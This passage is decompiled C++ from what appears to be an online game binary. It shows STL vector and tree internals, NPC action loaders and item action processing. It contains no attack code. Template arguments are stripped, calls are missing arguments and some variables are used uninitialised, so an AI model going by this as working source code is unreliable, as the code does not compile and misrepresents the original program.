*)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00580E80) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GBReward *_Val) { std::vector > *v4; // edi@1 GBReward *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00580EF0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, NPCAction::ICondition *_Val) { std::vector > *v3; // esi@1 NPCAction::ICondition **v4; // edx@1 signed int v5; // eax@2 signed int v6; // eax@6 NPCAction::ICondition **v7; // eax@10 char *v8; // edx@11 NPCAction::ICondition **v9; // eax@12 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = this->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = this->_Mylast; if ( _Newsize < this->_Mylast - v4 ) { v8 = (char *)&v4[_Newsize]; if ( (NPCAction::ICondition **)v8 != v7 ) { memmove(v8, (char *)v7, 0); v3->_Mylast = v9; } } } } else { if ( v4 ) v6 = this->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v6, &_Val); } } //----- (00580F80) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GBEventCode *_Val) { std::vector > *v2; // esi@1 GBEventCode *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 GBEventCode *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 1; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( (TickTimer *)v2->_Mylast, 1u, (TickTimer *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00581000) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GBReward *_Val) { std::vector > *v2; // esi@1 GBReward *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 GBReward *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 4; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( (TOURNAMENT_PLAYER_SCORE *)v2->_Mylast, 1u, (TOURNAMENT_PLAYER_SCORE *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00581090) -------------------------------------------------------- void __thiscall NPCAction::Manager::generate_n(NPCAction::Manager *this, unsigned int n, NPCAction::CondGen_OptionReader generator) { NPCAction::Manager *v3; // edi@1 NPCAction::ICondition **v4; // ebx@1 NPCAction::ICondition **i; // esi@1 unsigned int v6; // ebx@5 NPCAction::ICondition **v7; // esi@5 NPCAction::CondGen_OptionReader thisa; // [sp+Ch] [bp-8h]@5 v3 = this; v4 = this->container_._Mylast; for ( i = this->container_._Myfirst; i != v4; ++i ) { if ( *i ) ((void (__stdcall *)(_DWORD))(*i)->baseclass_0.vfptr->__vecDelDtor)(1); } v6 = n; std::vector>::resize(&v3->container_, n, 0); v7 = v3->container_._Myfirst; thisa.optionReader_ = generator.optionReader_; thisa.currentRow_ = generator.currentRow_; if ( n ) { do { *v7 = NPCAction::CondGen_OptionReader::operator__(&thisa); ++v7; --v6; } while ( v6 ); } } //----- (00581100) -------------------------------------------------------- void __thiscall NPCAction::Manager::generate_n(NPCAction::Manager *this, unsigned int n, NPCAction::ActionGen_OptionReader generator) { NPCAction::Manager *v3; // edi@1 NPCAction::IAction **v4; // ebx@1 NPCAction::IAction **i; // esi@1 unsigned int v6; // ebx@5 NPCAction::IAction **v7; // esi@5 NPCAction::ActionGen_OptionReader thisa; // [sp+Ch] [bp-8h]@5 v3 = this; v4 = this->container_._Mylast; for ( i = this->container_._Myfirst; i != v4; ++i ) { if ( *i ) ((void (__stdcall *)(_DWORD))(*i)->vfptr->__vecDelDtor)(1); } v6 = n; std::vector>::resize( (std::vector > *)v3, n, 0); v7 = v3->container_._Myfirst; thisa.optionReader_ = generator.optionReader_; thisa.currentRow_ = generator.currentRow_; if ( n ) { do { *v7 = NPCAction::ActionGen_OptionReader::operator__(&thisa); ++v7; --v6; } while ( v6 ); } } //----- (00581170) -------------------------------------------------------- void __thiscall SHND::CommonData>::cd_Load(SHND::CommonData *this) { SHND::CommonData *v1; // esi@1 void *v2; // eax@1 int v3; // edi@1 unsigned int v4; // esi@1 unsigned int v5; // eax@3 bool v6; // cf@3 GBEventCode *v7; // eax@5 unsigned int v8; // eax@7 char shn; // [sp+8h] [bp-258h]@1 int v10; // [sp+38h] [bp-228h]@3 GBEventCode _Val; // [sp+44h] [bp-21Ch]@3 char filename[512]; // [sp+50h] [bp-210h]@1 unsigned int v13; // [sp+250h] [bp-10h]@1 int v14; // [sp+25Ch] [bp-4h]@3 v1 = this; v13 = (unsigned int)&shn ^ __security_cookie; sprintf(filename, "../9Data/Hero/%s"); v2 = v1->cd_Data._Myfirst; v3 = (int)&v1->cd_Data; v4 = 0; if ( v2 ) operator delete(v2); *(_DWORD *)(v3 + 4) = 0; *(_DWORD *)(v3 + 8) = 0; *(_DWORD *)(v3 + 12) = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)&shn); _Val.GameType = 0; _Val.GB_ANI = 0; _Val.GB_ECode = 0; v14 = 0; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&shn, filename); v5 = *(_DWORD *)(v10 + 40); v6 = v5 > 0; if ( (signed int)v5 > 0 ) { do { if ( v6 ) v7 = (GBEventCode *)CDataReader::GetRecord((CDataReader *)&shn, v4); else v7 = &_Val; std::vector>::push_back( (std::vector > *)v3, v7); v8 = *(_DWORD *)(v10 + 40); ++v4; v6 = v4 < v8; } while ( (signed int)v4 < (signed int)v8 ); } v14 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&shn); __security_check_cookie((unsigned int)&shn ^ v13); } //----- (00581270) -------------------------------------------------------- void __thiscall SHND::CommonData>::cd_Load(SHND::CommonData > *this) { SHND::CommonData > *v1; // esi@1 void *v2; // eax@1 int v3; // edi@1 unsigned int v4; // esi@1 unsigned int v5; // eax@3 bool v6; // cf@3 GBEventCode *v7; // eax@5 unsigned int v8; // eax@7 char shn; // [sp+8h] [bp-258h]@1 int v10; // [sp+38h] [bp-228h]@3 GBEventCode _Val; // [sp+44h] [bp-21Ch]@3 char filename[512]; // [sp+50h] [bp-210h]@1 unsigned int v13; // [sp+250h] [bp-10h]@1 int v14; // [sp+25Ch] [bp-4h]@3 v1 = this; v13 = (unsigned int)&shn ^ __security_cookie; sprintf(filename, "../9Data/Hero/%s"); v2 = v1->cd_Data._Myfirst; v3 = (int)&v1->cd_Data; v4 = 0; if ( v2 ) operator delete(v2); *(_DWORD *)(v3 + 4) = 0; *(_DWORD *)(v3 + 8) = 0; *(_DWORD *)(v3 + 12) = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)&shn); _Val.GameType = 0; _Val.GB_ANI = 0; _Val.GB_ECode = 0; v14 = 0; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&shn, filename); v5 = *(_DWORD *)(v10 + 40); v6 = v5 > 0; if ( (signed int)v5 > 0 ) { do { if ( v6 ) v7 = (GBEventCode *)CDataReader::GetRecord((CDataReader *)&shn, v4); else v7 = &_Val; std::vector>::push_back( (std::vector > *)v3, v7); v8 = *(_DWORD *)(v10 + 40); ++v4; v6 = v4 < v8; } while ( (signed int)v4 < (signed int)v8 ); } v14 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&shn); __security_check_cookie((unsigned int)&shn ^ v13); } //----- (00581370) -------------------------------------------------------- void __thiscall SHND::CommonData::cd_Load(SHND::CommonData *this) { SHND::CommonData *v1; // esi@1 void *v2; // eax@1 int v3; // edi@1 unsigned int v4; // esi@1 unsigned int v5; // eax@3 bool v6; // cf@3 GBReward *v7; // eax@5 unsigned int v8; // eax@7 char shn; // [sp+8h] [bp-274h]@1 int v10; // [sp+38h] [bp-244h]@3 GBReward _Val; // [sp+44h] [bp-238h]@3 char filename[512]; // [sp+6Ch] [bp-210h]@1 unsigned int v13; // [sp+26Ch] [bp-10h]@1 int v14; // [sp+278h] [bp-4h]@3 v1 = this; v13 = (unsigned int)&shn ^ __security_cookie; sprintf(filename, "../9Data/Hero/%s"); v2 = v1->cd_Data._Myfirst; v3 = (int)&v1->cd_Data; v4 = 0; if ( v2 ) operator delete(v2); *(_DWORD *)(v3 + 4) = 0; *(_DWORD *)(v3 + 8) = 0; *(_DWORD *)(v3 + 12) = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)&shn); _Val.GameType = 0; _Val.RewardType = 0; *(_DWORD *)&_Val.Item_INX[0] = 0; *(_DWORD *)&_Val.Item_INX[4] = 0; *(_DWORD *)&_Val.Item_INX[8] = 0; *(_DWORD *)&_Val.Item_INX[12] = 0; *(_DWORD *)&_Val.Item_INX[16] = 0; *(_DWORD *)&_Val.Item_INX[20] = 0; *(_DWORD *)&_Val.Item_INX[24] = 0; *(_DWORD *)&_Val.Item_INX[28] = 0; v14 = 0; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&shn, filename); v5 = *(_DWORD *)(v10 + 40); v6 = v5 > 0; if ( (signed int)v5 > 0 ) { do { if ( v6 ) v7 = (GBReward *)CDataReader::GetRecord((CDataReader *)&shn, v4); else v7 = &_Val; std::vector>::push_back( (std::vector > *)v3, v7); v8 = *(_DWORD *)(v10 + 40); ++v4; v6 = v4 < v8; } while ( (signed int)v4 < (signed int)v8 ); } v14 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&shn); __security_check_cookie((unsigned int)&shn ^ v13); } //----- (00581490) -------------------------------------------------------- bool __cdecl NPCAction::Util::loadFromOptionReader>(NPCAction::Manager *destManager, const char *fileName) { NPCAction::CondGen_OptionReader v2; // ST04_8@2 unsigned int v3; // eax@2 bool result; // al@4 NPCAction::CondGen_OptionReader generator; // [sp+8h] [bp-1086Ch]@1 OptionReader optionReader; // [sp+10h] [bp-10864h]@1 unsigned int v7; // [sp+10864h] [bp-10h]@1 int v8; // [sp+10870h] [bp-4h]@1 v7 = (unsigned int)&generator ^ __security_cookie; OptionReader::OptionReader(&optionReader); v8 = 0; if ( OptionReader::or_Read(&optionReader, (char *)fileName) ) { NPCAction::ActionGen_OptionReader::ActionGen_OptionReader( (NPCAction::ActionGen_OptionReader *)&generator, &optionReader); v2 = generator; v3 = NPCAction::CondGen_OptionReader::size(&generator); NPCAction::Manager::generate_n( destManager, v3, v2); v8 = -1; OptionReader::_OptionReader(&optionReader); } else { v8 = -1; OptionReader::_OptionReader(&optionReader); } __security_check_cookie((unsigned int)&generator ^ v7); return result; } //----- (00581570) -------------------------------------------------------- bool __cdecl NPCAction::Util::loadFromOptionReader>(NPCAction::Manager *destManager, const char *fileName) { NPCAction::ActionGen_OptionReader v2; // ST04_8@2 unsigned int v3; // eax@2 bool result; // al@4 NPCAction::ActionGen_OptionReader generator; // [sp+8h] [bp-1086Ch]@1 OptionReader optionReader; // [sp+10h] [bp-10864h]@1 unsigned int v7; // [sp+10864h] [bp-10h]@1 int v8; // [sp+10870h] [bp-4h]@1 v7 = (unsigned int)&generator ^ __security_cookie; OptionReader::OptionReader(&optionReader); v8 = 0; if ( OptionReader::or_Read(&optionReader, (char *)fileName) ) { NPCAction::ActionGen_OptionReader::ActionGen_OptionReader(&generator, &optionReader); v2 = generator; v3 = NPCAction::ActionGen_OptionReader::size(&generator); NPCAction::Manager::generate_n( destManager, v3, v2); v8 = -1; OptionReader::_OptionReader(&optionReader); } else { v8 = -1; OptionReader::_OptionReader(&optionReader); } __security_check_cookie((unsigned int)&generator ^ v7); return result; } //----- (00581650) -------------------------------------------------------- bool __thiscall ItemActions::DataProcess(ItemActions *this) { unsigned int i; // edi@1 int v2; // eax@2 void *v3; // esi@4 void *v4; // eax@5 Action *v5; // eax@6 const unsigned __int16 v6; // cx@8 std::pair,std::allocator >,0> >::iterator,bool> *v7; // eax@8 int v8; // edx@8 std::_Tree_nod,std::allocator >,0> >::_Node *existing; // [sp+Ch] [bp-2Ch]@4 std::pair,std::allocator >,0> >::iterator,bool> ret; // [sp+10h] [bp-28h]@5 std::pair _Val; // [sp+18h] [bp-20h]@8 std::pair,std::allocator >,0> >::iterator,bool> result; // [sp+20h] [bp-18h]@8 int v14; // [sp+34h] [bp-4h]@5 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); std::_Tree_std::allocator>_0>>::find( &ItemActions::_actions, (std::_Tree,std::allocator >,0> >::iterator *)&existing, (const unsigned __int16 *)v3); if ( existing == ItemActions::_actions._Myhead ) { v4 = operator new(0x20u); *(_DWORD *)&ret.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; v14 = 0; if ( v4 ) Action::Action((Action *)v4, (ItemAction *)v3); else v5 = 0; v6 = *(_WORD *)v3; _Val.second = v5; _Val.first = v6; v14 = -1; v7 = std::_Tree_std::allocator>_0>>::insert( &ItemActions::_actions, &result, &_Val); v8 = (unsigned __int8)*(_DWORD *)&v7->second == 1; *(_DWORD *)&ret.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&v7->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( !v8 ) { AssertClass::ac_AssertFail(&shineassert, "ItemAction Element Conflict", *(_WORD *)v3); ShineExit("ItemActions::DataProcess"); } } else { Action::addCondition(existing->_Myval.second, *((_WORD *)v3 + 1)); Action::addEffect(existing->_Myval.second, *((_WORD *)v3 + 2)); } } return 1; } // 131DB48C: using guessed type int ITableBase_ItemAction_ItemActions___ms_pkTable; //----- (00581790) -------------------------------------------------------- std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val) { std::pair *v3; // ebp@1 std::_Tree,std::allocator >,0> > *v4; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // eax@1 char v7; // dl@1 bool v8; // cl@1 const unsigned __int16 v9; // dx@2 bool v10; // zf@3 std::pair *v11; // edx@7 int v12; // edx@9 std::pair,std::allocator >,0> >::iterator,bool> *v13; // eax@9 int v14; // ecx@12 std::_Tree,std::allocator >,0> >::iterator _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = v6->_Isnil; v8 = 1; _Addleft.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = 1; if ( !v7 ) { v9 = _Val->first; do { v5 = v6; v8 = v9 < v6->_Myval.first; v10 = v9 >= v6->_Myval.first; _Addleft.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9 < v6->_Myval.first; if ( v10 ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v11 = (std::pair *)v5; _Val = (std::pair *)v5; if ( v8 ) { if ( v5 == v4->_Myhead->_Left ) { v12 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, &_Addleft, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v13 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; return v13; } std::_Tree_std::allocator>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val); v11 = _Val; } if ( LOWORD(v11[1].second) >= v3->first ) { v13 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v11; } else { v14 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, &_Addleft, _Addleft.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0], v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v13 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v14; result->second = 1; } return v13; } //----- (00581860) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val) { std::_Tree,std::allocator >,0> > *v5; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator >,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator >,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x1FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator>_1>>::_Buynode( (std::_Tree,std::allocator >,0> > *)this, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Wherenode, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::pair *)_Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v5->_Myhead->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v5->_Myhead->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { if ( _Addleft ) { _Wherenode->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { _Wherenode->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 20) = 1; *(_BYTE *)(v14 + 20) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 20) = 0; v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00581A10) -------------------------------------------------------- void __thiscall Action::addCondition(Action *this, IActEffect *const conditionID) { unsigned __int16 v2; // si@1 Action *v3; // edi@1 std::pair,std::allocator,0> >::iterator,bool> result; // [sp+8h] [bp-8h]@4 v2 = (unsigned __int16)conditionID; v3 = this; conditionID = (IActEffect *const )ItemActionConditions::getCond((unsigned __int16)conditionID); if ( conditionID == 0 ) { AssertClass::ac_AssertFail(&shineassert, "Invalid ItemActionCondition-ID", v2); ShineExit("Action::addCondition"); } std::_Tree_std::allocator_0>>::insert( (std::_Tree,std::allocator,0> > *)&v3->_conditions, &result, &conditionID); } //----- (00581A70) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, IActEffect *const *_Val) { IActEffect *const *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 char v7; // dl@1 bool v8; // cl@1 IActEffect *const v9; // edx@2 bool v10; // zf@3 IActEffect *const *v11; // edx@7 int v12; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v13; // eax@9 int v14; // ecx@12 std::_Tree,std::allocator,0> >::iterator _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = v6->_Isnil; v8 = 1; _Addleft.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = 1; if ( !v7 ) { v9 = *_Val; do { v8 = v9 < v6->_Myval; v10 = v9 >= v6->_Myval; v5 = v6; _Addleft.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9 < v6->_Myval; if ( v10 ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v11 = (IActEffect *const *)v5; _Val = (IActEffect *const *)v5; if ( v8 ) { if ( v5 == v4->_Myhead->_Left ) { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, &_Addleft, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v13 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; return v13; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v11 = _Val; } if ( (IActEffect *const )*((_DWORD *)v11 + 3) >= *v3 ) { v13 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v11; } else { v14 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, &_Addleft, _Addleft.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0], v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v13 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v14; result->second = 1; } return v13; } //----- (00581B30) -------------------------------------------------------- void __thiscall Action::addEffect(Action *this, IActEffect *const effectID) { unsigned __int16 v2; // si@1 Action *v3; // edi@1 std::pair,std::allocator,0> >::iterator,bool> result; // [sp+8h] [bp-8h]@4 v2 = (unsigned __int16)effectID; v3 = this; effectID = ItemActionEffects::getEffect((unsigned __int16)effectID); if ( effectID == 0 ) { AssertClass::ac_AssertFail(&shineassert, "Invalid ItemActionEffect-ID", v2); ShineExit("Action::addEffect"); } std::_Tree_std::allocator_0>>::insert( &v3->_effects.baseclass_0, &result, &effectID); } //----- (00581B90) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, IActEffect *const *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x3FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( (std::_Tree,std::allocator,0> > *)this, (std::_Tree_nod,std::allocator,0> >::_Node *)this->_Myhead, (std::_Tree_nod,std::allocator,0> >::_Node *)_Wherenode, (std::_Tree_nod,std::allocator,0> >::_Node *)this->_Myhead, (ABSTATEINDEX *)_Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v5->_Myhead->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v5->_Myhead->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { if ( _Addleft ) { _Wherenode->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { _Wherenode->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( 